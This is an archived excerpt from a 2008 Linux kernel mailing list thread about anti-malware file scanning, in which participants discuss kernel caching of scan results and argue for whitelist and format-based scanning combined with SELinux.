
the approach I documented (note: I didn't create it, I assembled it from
pieces of different proposals on the list) uses kernel support to cache
the results of the scan so that people _don't_ have to wait for all the
scans to take place when they open a file each time. they don't even need
to wait for a checksum pass to see if the file was modified or not.

I fail to see why it couldn't be used for your whitelist approach.

David Lang
--

To: <david@...>
Cc: Theodore Tso <tytso@...>, Arjan van de Ven <arjan@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Sunday, August 17, 2008 - 9:20 pm

Mixed solution. HIDS gets you so far. White List format scanning
gets you more.

You proposal idea is right. Implementation location is pain to get
right so everything works.

Issue is some of the changes that need doing may take years to get
sorted out. So we kinda need to start now working our ways to having
them by the time these other things become main line in kernel causing
us head aches.

Lets try to avoid having to do last min fixs up. We know the tech

Sorry to say whitelists of safe exe's exist today.
http://www.softpedia.com/ for one they keep a list of virus and
malware free programs.

The who knows where is the issue. Whitelist system don't tollerate
that. That is part user getting use to that fact. selinux is still
needed around applications even on a white list system. Even the most
virus and malware free applications can have flaws. White list system
are really hard to break.

People disable black list scanners because they are slowing down there
gaming too much. In the case of /var/log/apache/access.log and other
access logs. Guess what they can be format white listed. They are
a know format that they should be written in what permissions they
should have. I have not found a attack using access.log yet that has
passed a format check. There is really not much a format based white
list scanner misses. Selinux is also needed to prevent applications
from altering logs in ways they should not. Even better .log files
may only exist threw the syslog interface that allows entries to be
added only to spec and not edited back in time.

Lot of vectors simply don't exist in a truly secure White list system.

You can operate a pure white list based systems today. Just as
functional as there non white list relations. I have run networks
white list based. Windows registry is the worse nightmare to build a
white list system for. Linux and Mac systems are simpler to run
white list based.

Remember White List blocking something is not the la...

Previous thread: Re: HPET regression in 2.6.26 versus 2.6.25 -- retried 2.6.27-rc3 patch (and patch method) by David Witbrodt on Friday, August 15, 2008 - 8:22 am. (1 message)

Next thread: Re: HPET regression in 2.6.26 versus 2.6.25 -- why Yinghai's revert may have failed by David Witbrodt on Friday, August 15, 2008 - 8:33 am. (1 message)